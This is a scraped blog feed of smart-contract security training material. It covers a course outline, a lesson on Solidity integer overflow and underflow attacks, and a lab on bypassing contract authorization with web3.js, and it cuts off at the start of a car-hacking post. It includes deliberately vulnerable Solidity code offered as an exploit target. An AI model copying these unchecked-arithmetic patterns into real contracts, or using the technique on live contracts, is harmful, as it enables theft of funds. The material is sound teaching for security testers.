Architecture Considerations:</span></p><p><span style="color: #f6b26b;"> Business Logic Locations and Technology Decisions</span></p><p><span style="color: #f6b26b;"> Development Environments</span></p><p><span style="color: #f6b26b;"> Threat Modeling</span></p><p><span style="color: #f6b26b;"> Summary</span></p><p><span style="color: #f6b26b;"> References:</span></p><p><span style="color: #f6b26b;"><br /></span></p><p> <span style="color: #3d85c6;"> Chapter 3 – Solidity for Penetration Testers Part 1 (Hello World)</span></p><p><span style="color: #3d85c6;"> About Solidity</span></p><p><span style="color: #3d85c6;"> Hands on Lab - Remix interface overview</span></p><p><span style="color: #3d85c6;"> Structure of a Smart Contract</span></p><p><span style="color: #3d85c6;"> Hands on Lab – HelloWorld</span></p><p><span style="color: #3d85c6;"> Summary<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> References:<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"><span style="white-space: pre;"><br /></span></span></p><p><span style="color: #3d85c6;"> Chapter 4 – Solidity for Penetration Testers Part 2<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Beyond Hello World</span></p><p><span style="color: #3d85c6;"> Hands on Lab – Code HelloWorld bank</span></p><p><span style="color: #3d85c6;"> Code Level Walk Through of HelloWorld Bank</span></p><p><span style="color: #3d85c6;"> Checks Effects Interactions:</span></p><p><span style="color: #3d85c6;"> Summary</span></p><p><span style="color: #3d85c6;"><br /></span></p><p><span style="color: #3d85c6;">Part 2:<span style="white-space: pre;"> </span>Hacking and Exploiting Things</span></p><p><span style="color: #3d85c6;"> Chapter 5 - Glass Half Full or Glass Half Empty: Integer Attacks</span></p><p><span style="color: #3d85c6;"> Underflows and Overflows</span></p><p><span style="color: #3d85c6;"> Withdraw Function Vulnerable to an underflow</span></p><p><span style="color: #3d85c6;"> Transfer Function Vulnerable to a Batch Overflow</span></p><p><span style="color: #3d85c6;"> Batch Overflow Code Explanation:</span></p><p><span style="color: #3d85c6;"> ERC20 Batch Overflow Case-Study<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Walkthrough of The Vulnerable Function<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Reviewing the Real Attack Transaction<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Hands on Lab - Exploiting Our Own ERC20 Batch Overflow</span></p><p><span style="color: #3d85c6;"> Hands on Lab - Fixing the ERC20 Overflow</span></p><p><span style="color: #6aa84f;"> </span><span style="color: #6aa84f;"> </span><span style="color: #6aa84f;"> </span><span style="color: #e69138;"><span> </span><span>Exam Prep - DApp Target + </span><span>Detailed Lab Guide</span></span></p><p><span style="color: #6aa84f;"> </span><span style="color: #3d85c6;"> <span> </span></span><span style="color: #3d85c6;">Hands on Lab -</span><span style="color: #3d85c6;">Safe Math Walk Through</span></p><p><span style="color: #3d85c6;"> Integer Attacks Summary<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Integer Attacks References</span></p><p><span style="color: #6aa84f;"><span> </span><span> <span> </span></span><br /></span></p><p><span style="color: #3d85c6;"> Chapter 6 - You Again: Leveraging Reentrancy Attacks</span></p><p><span style="color: #3d85c6;"> Reentrancy Intro</span></p><p><span style="color: #3d85c6;"> Checks Effects Interactions Pattern</span></p><p><span style="color: #3d85c6;"> Simple Reentrancy Example Code</span></p><p><span style="color: #3d85c6;"> Passing the Checks:</span></p><p><span style="color: #3d85c6;"> Looping the Interaction:</span></p><p><span style="color: #3d85c6;"> Updating the Effects:</span></p><p><span style="color: #3d85c6;"> Attacking Code Example:</span></p><p><span style="color: #3d85c6;"> Hands on Lab - Attacking a Simple Reentrancy</span></p><p><span style="color: #3d85c6;"> Hands on Lab - Fixing the Checks Effects interaction Pattern</span></p><p><span style="color: #3d85c6;"> Send vs Transfer Vs Call.Value</span></p><p><span style="color: #3d85c6;"> Case Study – The Dao Hack</span></p><p><span style="color: #cc0000;"><span> </span><span> <span> </span></span></span><span style="color: #e69138;"><span>Exam Prep -</span><span> DApp Target + </span><span>Detailed Lab Guide</span></span></p><p><span style="color: #3d85c6;"> Reentrancy Summary<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Reentrancy References</span></p><p><span style="color: #6aa84f;"><br /></span></p><p><span style="color: #3d85c6;"> Chapter 7 Do You Have a Hall Pass: Access Control Attacks</span></p><p><span style="color: #3d85c6;"> Understanding Smart Contract Authorization and Visibility</span></p><p><span style="color: #3d85c6;"> Visibility:<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Simple Visibility Example:<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Implementing Authorization:<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Example Walk-through of No Authorization<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Thinking about Smart Contracts as unpublished API’s for DApps<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Case of the Video Game Heist<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Enumerating functions in a contract<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Hands on Lab - Directly Calling Public Functions with Web3<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Hands on Lab - Example Fix with Simple Authorization<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Exit Scam Warning<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Hands on Lab - Example Fix-2 Using Modifiers for Simple Authentication<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Hands on Lab - Example Using Openzeppelin for Role Based Access Control</span></p><p><span style="color: #cc0000;"> </span><span style="color: #cc0000;"></span><span style="color: #cc0000;"> </span><span style="color: #e69138;"><span>Exam Prep -</span><span> DApp Target + </span><span>Detailed Lab Guide</span></span></p><p><span style="color: #3d85c6;"> Authorization Summary:</span></p><p><span style="color: #3d85c6;"> Authorization References<span style="white-space: pre;"> </span></span></p><p><br /></p><p><span style="color: #3d85c6;"> Chapter 8 - Dude Where’s My Data: Storage Vs Memory Attacks<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Intro - Not Written Yet – Up Next<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Code Example - Not Written Yet – Up Next</span></p><p><span style="color: #3d85c6;"> Case study? - Not Written Yet – Up Next</span></p><p><span style="color: #3d85c6;"> Exploiting vulnerability - Not Written Yet – Up Next</span></p><p><span style="color: #3d85c6;"> Summary - Not Written Yet – Up Next</span></p><p><span style="color: #3d85c6;"> References - Not Written Yet – Up Next</span></p><p><span style="color: #3d85c6;"><br /></span></p><p><span style="color: #3d85c6;"> Chapter 9 - Do I know you: TxOrigin vs Message.sender Attacks<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> What’s the difference?<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Man In the Middle Via tx.origin<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Hands on Lab - Simple tx.origin Example Walkthrough</span></p><p><span style="color: #3d85c6;"> Hands on Lab - Vulnerable TX.Origin Example Walkthrough</span></p><p><span style="color: #cc0000;"> </span><span style="color: #cc0000;"></span><span style="color: #cc0000;"> </span><span style="color: #e69138;"><span>Exam Prep -</span><span> DApp Target + </span><span>Detailed Lab Guide</span></span></p><p><span style="color: #3d85c6;"> Action steps to familiarize yourself with the contract:</span></p><p><span style="color: #3d85c6;"> Attack Options:</span></p><p><span style="color: #3d85c6;"> Summary</span></p><p><span style="color: #3d85c6;"> References</span></p><p><span style="color: #3d85c6;"><br /></span></p><p><span style="color: #3d85c6;"> Chapter 10 - Who Am I: Delegate Call Attacks</span></p><p><span style="color: #3d85c6;"> How delegate calls work:</span></p><p><span style="color: #3d85c6;"> Delegate Call vs Call</span></p><p><span style="color: #3d85c6;"> Simple Delegate Call Example Code</span></p><p><span style="color: #3d85c6;"> Simple Delegate Code Example Walkthrough</span></p><p><span style="color: #3d85c6;"> Hands on Lab - Simple Delegate Example Walkthrough<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Variable Memory Issues with Delegate Calls</span></p><p><span style="color: #3d85c6;"> DelegateCall Storage Simple Example Code</span></p><p><span style="color: #3d85c6;"> Hands on Lab - DelegateCall Storage Walkthrough</span></p><p><span style="color: #cc0000;"> </span><span style="color: #cc0000;"></span><span style="color: #cc0000;"> </span><span style="color: #e69138;"><span> </span><span>Exam Prep -</span><span> DApp Target + </span><span>Detailed Lab Guide</span></span></p><p><span style="color: #3d85c6;"> Case Study - Parity Wallet Attack:</span></p><p><span style="color: #3d85c6;"> Attack Transactions Explained</span></p><p><span style="color: #3d85c6;"> Dangerous fallback function using delegatecall</span></p><p><span style="color: #3d85c6;"> The Parity Wallet Code</span></p><p><span style="color: #3d85c6;"> Delegate Chapter Summary</span></p><p><span style="color: #3d85c6;"> Delegate References:</span></p><p><span style="color: #3d85c6;"><br /></span></p><p><span style="color: #3d85c6;"> Chapter 11 - Look into My Crystal Ball: Bad Randomness Issues</span></p><p><span style="color: #3d85c6;"> Cryptographic Implementations and Predictable PRNGs</span></p><p><span style="color: #3d85c6;"> Simple BlockHash Example</span></p><p><span style="color: #3d85c6;"> Hands on Lab - BlockHash Vulnerability Walk and Talk</span></p><p><span style="color: #cc0000;"> </span><span style="color: #cc0000;"></span><span style="color: #cc0000;"> </span><span style="color: #e69138;"><span> </span><span>Exam Prep -</span><span> DApp Target + Detailed Lab Guide</span></span></p><p><span style="color: #3d85c6;"> Preventing Randomness Issues</span></p><p><span style="color: #3d85c6;"> Bad Randomness Summary</span></p><p><span style="color: #3d85c6;"> Bad Randomness References<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"><br /></span></p><p><span style="color: #e69138;"> Chapter 12 - Automated Static Application Security Testing</span></p><p><span style="color: #e69138;"> Content - Not written - Up Next </span></p><p><span style="color: #e69138;"> Hands On Lab - Not written - Up Next </span></p><p><span style="color: #e69138;"> Summary Not written - Up Next </span></p><p><span style="color: #e69138;"> References - Not written - Up Next </span></p><p><span style="color: #6aa84f;"><br /></span></p><p><span style="color: #e69138;">Chapter 13 - CTF Exam</span></p><p><span><span style="color: #e69138;"> <span> </span>Final Exam and CTF Certification Exam Target </span></span></p><p><span><span style="color: #e69138;"><span> </span><span> Final Exam Reporting</span><br /></span></span></p><p><span><span><span style="color: #e69138;"><br /></span></span></span></p><p><span style="color: #e69138;"><span>Appendices</span><span><span><span>: </span></span></span></span></p><p><span style="color: #e69138;"><span><span> </span>Appendix I – Pre-Requisite Suggestions:</span><span style="white-space: pre;"> </span></span></p><p><span style="color: #e69138;"> Programming Pre-Requisites:</span></p><p><span style="color: #e69138;"> Web Application Hacking Pre-Requisites:<span style="white-space: pre;"> </span></span></p><p><span style="color: #e69138;"><span> </span>Appendix II – Other Blockchain Learning Resources and Certifications</span></p><p><span style="color: #e69138;"><span> </span>Appendix III – Non-Exhaustive Scoping Questions<span style="white-space: pre;"> </span></span></p><p><span style="color: #e69138;"><span> </span>Appendix IV – Non-Exhaustive List of things to check for</span></p><p><br /></p><p><br /></p>Ficti0nhttp://www.blogger.com/profile/10756896998856282829noreply@blogger.com0tag:blogger.com,1999:blog-5948768001255972621.post-15367055071740617902019-11-05T12:12:00.000-08:002019-11-05T12:12:02.720-08:00Blockchain Exploitation Labs - Part 3 Exploiting Integer Overflows and Underflows<br />
<br />
<br />
In part 1 and 2 we covered re-entrancy and authorization attack scenarios within the Ethereum smart contract environment. In this blog we will cover integer attacks against blockchain decentralized applications (DAPs) coded in Solidity. <br />
<br />
<h3>
<span style="color: #6aa84f;">Integer Attack Explanation:</span></h3>
An integer overflow and underflow happens when a check on a value is used with an unsigned integer, which either adds or subtracts beyond the limits the variable can hold. If you remember back to your computer science class each variable type can hold up to a certain value length. You will also remember some variable types only hold positive numbers while others hold positive and negative numbers. <br />
<br />
If you go outside of the constraints of the number type you are using it may handle things in different ways such as an error condition or perhaps cutting the number off at the maximum or minimum value. <br />
<br />
In the Solidity language for Ethereum when we reach values past what our variable can hold it in turn wraps back around to a number it understands. So for example if we have a variable that can only hold a 2 digit number when we hit 99 and go past it, we will end up with 00. Inversely if we had 00 and we subtracted 1 we would end up with 99. <br />
<br />
<br />
Normally in your math class the following would be true: <br />
<br />
<span style="color: #6aa84f;">99 + 1 = 100 <br />00 - 1 = -1 </span><br />
<br />
In solidity with unsigned numbers the following is true: <br />
<span style="color: #6aa84f;"><br />99 + 1 = 00 <br />00 - 1 = 99 </span><br />
<br />
<br />
So the issue lies with the assumption that a number will fail or provide a correct value in mathematical calculations when indeed it does not. So comparing a variable with a require statement is not sufficiently accurate after performing a mathematical operation that does not check for safe values.<br />
<br />
That comparison may very well be comparing the output of an over/under flowed value and be completely meaningless. The Require statement may return true, but not based on the actual intended mathematical value. This in turn will lead to an action performed which is beneficial to the attacker for example checking a low value required for a funds validation but then receiving a very high value sent to the attacker after the initial check. Lets go through a few examples. <br />
<br />
<h3>
<span style="color: #6aa84f;">Simple Example: </span></h3>
Lets say we have the following Require check as an example: <br />
<span style="color: #6aa84f;">require(balance - withdraw_amount > 0) ; </span><br />
<br />
<br />
Now the above statement seems reasonable, if the users balance minus the withdrawal amount is less than 0 then obviously they don’t have the money for this transaction correct?<br />
<br />
This transaction should fail and produce an error because not enough funds are held within the account for the transaction. But what if we have 5 dollars and we withdraw 6 dollars using the scenario above where we can hold 2 digits with an unsigned integer? <br />
<br />
Let's do some math. <br />
<span style="color: #6aa84f;">5 - 6 = 99 </span><br />
<br />
Last I checked 99 is greater than 0 which poses an interesting problem. Our check says we are good to go, but our account balance isn't large enough to cover the transaction. The check will pass because the underflow creates the wrong value which is greater than 0 and more funds then the user has will be transferred out of the account.<br />
<br />
Because the following math returns true: <br />
<span style="color: #6aa84f;"> </span><span style="color: #6aa84f;">require(99 > 0) </span><br />
<br />
<h3>
<span style="color: #6aa84f;">Withdraw Function Vulnerable to an UnderFlow: </span></h3>
The below example snippet of code illustrates a withdraw function with an underflow vulnerability: <br />
<br />
<span style="color: #6aa84f;">function withdraw(uint _amount){ <br /><br /> require(balances[msg.sender] - _amount > 0); <br /> msg.sender.transfer(_amount); <br /> balances[msg.sender] -= _amount; <br /><br />} </span><br />
<br />
In this example the require line checks that the balance is greater then 0 after subtracting the _amount but if the _amount is greater than the balance it will underflow to a value above 0 even though it should fail with a negative number as its true value. <br />
<br />
<span style="color: #6aa84f;">require(balances[msg.sender] - _amount > 0); </span><br />
<br />
<br />
It will then send the value of the _amount variable to the recipient without any further checks: <br />
<br />
<span style="color: #6aa84f;">msg.sender.transfer(_amount); </span><br />
<br />
Followed by possibly increasing the value of the senders account with an underflow condition even though it should have been reduced: <br />
<br />
<span style="color: #6aa84f;">balances[msg.sender] -= _amount; </span><br />
<br />
<br />
Depending how the Require check and transfer functions are coded the attacker may not lose any funds at all but be able to transfer out large sums of money to other accounts under his control simply by underflowing the require statements which checks the account balance before transferring funds each time. <br />
<br />
<h3>
<span style="color: #6aa84f;">Transfer Function Vulnerable to a Batch Overflow: </span></h3>
Overflow conditions often happen in situations where you are sending a batched amount of values to recipients. If you are doing an airdrop and have 200 users who are each receiving a large sum of tokens but you check the total sum of all users tokens against the total funds it may trigger an overflow. The logic would compare a smaller value to the total tokens and think you have enough to cover the transaction for example if your integer can only hold 5 digits in length or 00,000 what would happen in the below scenario? <br />
<br />
<br />
You have 10,000 tokens in your account <br />
You are sending 200 users 499 tokens each <br />
Your total sent is 200*499 or 99,800 <br />
<br />
The above scenario would fail as it should since we have 10,000 tokens and want to send a total of 99,800. But what if we send 500 tokens each? Lets do some more math and see how that changes the outcome.<br />
<br />
<br />
You have 10,000 tokens in your account <br />
You are sending 200 users 500 tokens each <br />
Your total sent is 200*500 or 100,000 <br />
New total is actually 0 <br />
<br />
This new scenario produces a total that is actually 0 even though each users amount is 500 tokens which may cause issues if a require statement is not handled with safe functions which stop an overflow of a require statement. <br />
<br />
<br />
<br />
Lets take our new numbers and plug them into the below code and see what happens: <br />
<br />
<span style="color: #6aa84f;">1. uint total = _users.length * _tokens; <br />2. require(balances[msg.sender] >= total);<br />3. balances[msg.sender] = balances[msg.sender] -total; <br /><br />4. for(uint i=0; i < users.length; i++){ </span><br />
<span style="color: #6aa84f;">5. balances[_users[i]] = balances[_users[i]] + _value; </span><br />
<br />
<br />
<br />
Same statements substituting the variables for our scenarios values:<br />
<br />
<span style="color: #6aa84f;">1. uint total = _200 * 500; <br />2. require(10,000 >= 0);<br />3. balances[msg.sender] = 10,000 - 0; <br /><br />4. for(uint i=0; i < 500; i++){ </span><br />
<span style="color: #6aa84f;">5. balances[_recievers[i]] = balances[_recievers[i]] + 500;</span><br />
<br />
<br />
<h3>
<span style="color: #6aa84f;">Batch Overflow Code Explanation: </span></h3>
1: The total variable is 100,000 which becomes 0 due to the 5 digit limit overflow when a 6th digit is hit at 99,999 + 1 = 0. So total now becomes 0. <br />
<br />
2: This line checks if the users balance is high enough to cover the total value to be sent which in this case is 0 so 10,000 is more then enough to cover a 0 total and this check passes due to the overflow. <br />
<br />
3: This line deducts the total from the senders balance which does nothing since the total of 10,000 - 0 is 10,000. The sender has lost no funds. <br />
<br />
4-5: This loop iterates over the 200 users who each get 500 tokens and updates the balances of each user individually using the real value of 500 as this does not trigger an overflow condition. Thus sending out 100,000 tokens without reducing the senders balance or triggering an error due to lack of funds. Essentially creating tokens out of thin air. <br />
<br />
In this scenario the user retained all of their tokens but was able to distribute 100k tokens across 200 users regardless if they had the proper funds to do so.<br />
<br />
<h3>
<span style="color: #6aa84f;">Lab Follow Along Time: </span></h3>
We went through what might have been an overwhelming amount of concepts in this chapter regarding over/underflow scenarios now lets do an example lab in the video below to illustrate this point and get a little hands on experience reviewing, writing and exploiting smart contracts. Also note in the blockchain youtube playlist we cover the same concepts from above if you need to hear them rather then read them.<br />
<br />
For this lab we will use the Remix browser environment with the current solidity version as of this writing 0.5.12. You can easily adjust the compiler version on Remix to this version as versions update and change frequently.<br />
<a href="https://remix.ethereum.org/" target="_blank">https://remix.ethereum.org/</a><br />
<br />
Below is a video going through coding your own vulnerable smart contract, the video following that goes through exploiting the code you create and the videos prior to that cover the concepts we covered above:<br />
<br />
<iframe allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/GH0ksFjriFg" width="560"></iframe>
<br />
<h3>
<span style="color: #6aa84f;">Download Video Lab Example Code:</span></h3>
Download Sample Code:<br />
<div style="font-family: arial; font-size: 11pt; margin: 0in;">
<a href="https://github.com/cclabsInc/BlockChainExploitation/blob/master/Targets/UnderflowExample.sol" target="_blank">CC Labs GitHub</a></div>
<div style="font-family: arial; font-size: 11pt; margin: 0in;">
<br /></div>
<div style="font-family: arial; font-size: 11pt; margin: 0in;">
</div>
<div style="font-family: arial; font-size: 11pt; margin: 0in;">
<span style="color: #6aa84f;">//Underflow Example Code: </span></div>
<div style="font-family: arial; font-size: 11pt; margin: 0in;">
<span style="color: #6aa84f;">//Can you bypass the restriction? </span></div>
<div style="font-family: arial; font-size: 11pt; margin: 0in;">
<span style="color: #6aa84f;">//--------------------------------------------</span></div>
<div style="font-family: arial; font-size: 11pt; margin: 0in;">
<span style="color: #6aa84f;"> pragma solidity ^0.5.12;<br /><br />contract Underflow{<br /> mapping (address =>uint) balances;<br /><br /> function contribute() public payable{<br /> balances[msg.sender] = msg.value; <br /> }<br /><br /> function getBalance() view public returns (uint){<br /> return balances[msg.sender]; <br /> }<br /><br /> function transfer(address _reciever, uint _value) public payable{<br /> require(balances[msg.sender] - _value >= 5);<br /> balances[msg.sender] = balances[msg.sender] - _value; <br /><br /> balances[_reciever] = balances[_reciever] + _value;<br /> }<br /> </span></div>
<div style="font-family: arial; font-size: 11pt; margin: 0in;">
<span style="color: #6aa84f;">}</span></div>
<br />
This next video walks through exploiting the code above, preferably hand coded by you into the remix environment. As the best way to learn is to code it yourself and understand each piece:<br />
<br />
<iframe allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/LlzyC8yo9pM" width="560"></iframe>
<br />
<h3>
</h3>
<h3 style="color: black; font-family: Arial; font-size: 11.0pt; margin: 0in;">
</h3>
<h3 style="font-family: Arial; font-size: 11pt; margin: 0in;">
<span style="color: #6aa84f;">Conclusion: </span></h3>
We covered a lot of information at this point and the video series playlist associated with this blog series has additional information and walk throughs. Also other videos as always will be added to this playlist including fixing integer overflows in the code and attacking an actual live Decentralized Blockchain Application. So check out those videos as they are dropped and the current ones, sit back and watch and re-enforce the concepts you learned in this blog and in the previous lab. This is an example from a full set of labs as part of a more comprehensive exploitation course we have been working on.<br />
<div style="color: black; font-family: Arial; font-size: 11.0pt; margin: 0in;">
<br /></div>
Ficti0nhttp://www.blogger.com/profile/01503121397289908637noreply@blogger.com0tag:blogger.com,1999:blog-5948768001255972621.post-64965968234916202712019-04-07T08:31:00.001-07:002019-04-07T08:33:28.375-07:00Blockchain Exploitation Labs - Part 2 Hacking Blockchain Authorization<br />
<h2 style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<span style="color: #6aa84f;">Bypassing Blockchain
Authorization via Unsecured Functions</span></h2>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
Note: Since the
first part of this series I have also uploaded some further videos on
remediation of reentrancy and dealing with compiler versions when working with
this hacking blockchain series.<span style="mso-spacerun: yes;"> </span>Head to
the console cowboys YouTube account to check those out.<span style="mso-spacerun: yes;"> </span>Haha as mentioned before I always forget to
post blogs when I get excited making videos and just move on to my next
project… So make sure to subscribe to the YouTube if you are waiting for any
continuation of a video series.. It may show up there way before here. </div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
Note 2: You WILL run into issues when dealing with Ethereum hacking, and you will have to google them as versions and functionality changes often... Be cognizant of versions used hopefully you will not run into to many hard to fix issues. </div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
In the second part
of this lab series we are going to take a look at privacy issues on the blockchain which can
result in a vulnerably a traditional system may<span style="mso-spacerun: yes;">
</span>not face. Since typically blockchain projects are open source and also sometimes viewable within blockchain explorers but traditional application business logic is not usually available to us. With traditional applications we might not find these issues due to lack of knowledge of internal functionality or
inability to read private values on a remote server side script.<span style="mso-spacerun: yes;"> </span>After we review some issues we are going to exploit an authorization issues by writing web3.js code to directly bypass vertical
authorization restrictions. </div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
Blockchain projects
are usually open source projects which allow you to browse their code and see
what's going on under the hood.<span style="mso-spacerun: yes;"> </span>This is
fantastic for a lot of reasons but a developer can run into trouble with this
if bad business logic decisions are deployed to the immutable blockchain.<span style="mso-spacerun: yes;"> </span>In the first part of this series I mentioned
that all uploaded code on the blockchain is immutable. Meaning that if you find
a vulnerability it cannot be patched. So let's think about things that can go
wrong.. </div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<span style="color: #6aa84f;">A few things that
can go wrong: </span></div>
<ul>
<li>Randomization
functions that use values we can predict if we know the algorithm</li>
<li>Hard-coded values
such as passwords and private variables you can't change.</li>
<li>Publicly called
functions which offer hidden functionality</li>
<li>Race conditions
based on how requirements are calculated</li>
</ul>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
Since this will be
rather technical, require some setup and a lot of moving parts we will follow
this blog via the video series below posting videos for relevant sections with
a brief description of each.<span style="mso-spacerun: yes;"> </span>I posted these
a little bit ago but have not gotten a chance to post the blog associated with
it.<span style="mso-spacerun: yes;"> </span>Also note this series is turning
into a full lab based blockchain exploitation course so keep a lookout for
that. </div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
In this first video
you will see how data about your project is readily available on the blockchain
in multiple formats for example: </div>
<ul>
<li>ABI data that allows
you to interact with methods.</li>
<li>Actual application
code.</li>
<li>Byte code and
assembly code. </li>
<li>Contract addresses
and other data. </li>
</ul>
<h3 style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<span style="color: #6aa84f;"> Lab Video Part 1: Blockchain OSINT: </span></h3>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<iframe allow="accelerometer; autoplay; encrypted-media;
gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/9TortKORG6A" width="560"></iframe></div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
Once you have the
data you need to interact with a contract on the blockchain via some OSINT how
do you actually interface with it? That’s the question we are going to answer
in this second video. We will take the ABI contract array and use it to interact
with methods on the blockchain via Web3.js and then show how this correlates to
its usage in an HTML file</div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<h3 style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<span style="color: #6aa84f;">Lab Video Part 2: Connecting to a Smart Contract: </span></h3>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<iframe allow="accelerometer; autoplay; encrypted-media;
gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/eVW5o6wchFI" width="560"></iframe></div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<h2 style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<span style="color: #6aa84f;">Time to Exploit an Application: </span></h2>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
Exploit lab time, I
created an vulnerable application you can use to follow along in the next
video. Lab files can be downloaded from the same location as the last blog
located below. Grab the AuthorizationLab.zip file: </div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<h3 style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<span style="color: #6aa84f;">Lab file downloads: </span></h3>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<a href="https://github.com/cclabsInc/BlockChainExploitation">https://github.com/cclabsInc/BlockChainExploitation</a></div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
Ok so you can see
what's running on the blockchain, you can connect to it, now what?<span style="mso-spacerun: yes;"> </span>Now we need to find a vulnerability and show
how to exploit it. Since we are talking about privacy in this blog and using it
to bypass issues. Lets take a look at a simple authorization bypass we can
exploit by viewing an authorization coding error and taking advantage of it to
bypass restrictions set in the Smart Contract.<span style="mso-spacerun: yes;">
</span>You will also learn how to setup a local blockchain for testing purposes
and you can download a hackable application to follow along with the exercises
in the video.. </div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<h3 style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<span style="color: #6aa84f;">Lab Video Part 3: Finding and hacking a Smart Contract Authorization Issue: </span></h3>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<iframe allow="accelerometer; autoplay; encrypted-media;
gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/xRjTFuAo0C0" width="560"></iframe></div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<br /></div>
<h3 style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
<span style="color: #6aa84f;">Summary: </span></h3>
<div style="font-family: Calibri; font-size: 11.0pt; margin: 0in;">
In this part of
the series you learned a lot, you learned how to transfer your OSINT skills to
the blockchain. Leverage the information found to connect to that Smart
Contract. You also learned how to interact with methods and search for issues
that you can exploit. Finally you used your browsers developer console as a
means to attack the blockchain application for privilege escalation. </div>
Ficti0nhttp://www.blogger.com/profile/01503121397289908637noreply@blogger.com0tag:blogger.com,1999:blog-5948768001255972621.post-7766255592185822302019-04-07T05:31:00.002-07:002019-04-07T05:33:57.569-07:00Hacking All the Cars - Part 2<style type="text/css">
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'}
p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; min-height: 14.0px}
p.p3 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px 'Helvetica Neue'; color: #dca10d}
</style>
<br />
<div class="p1">
<h2>
<span style="color: #6aa84f;">Connecting Hardware to Your Real Car: </span></h2>
</div>
<div class="p1">
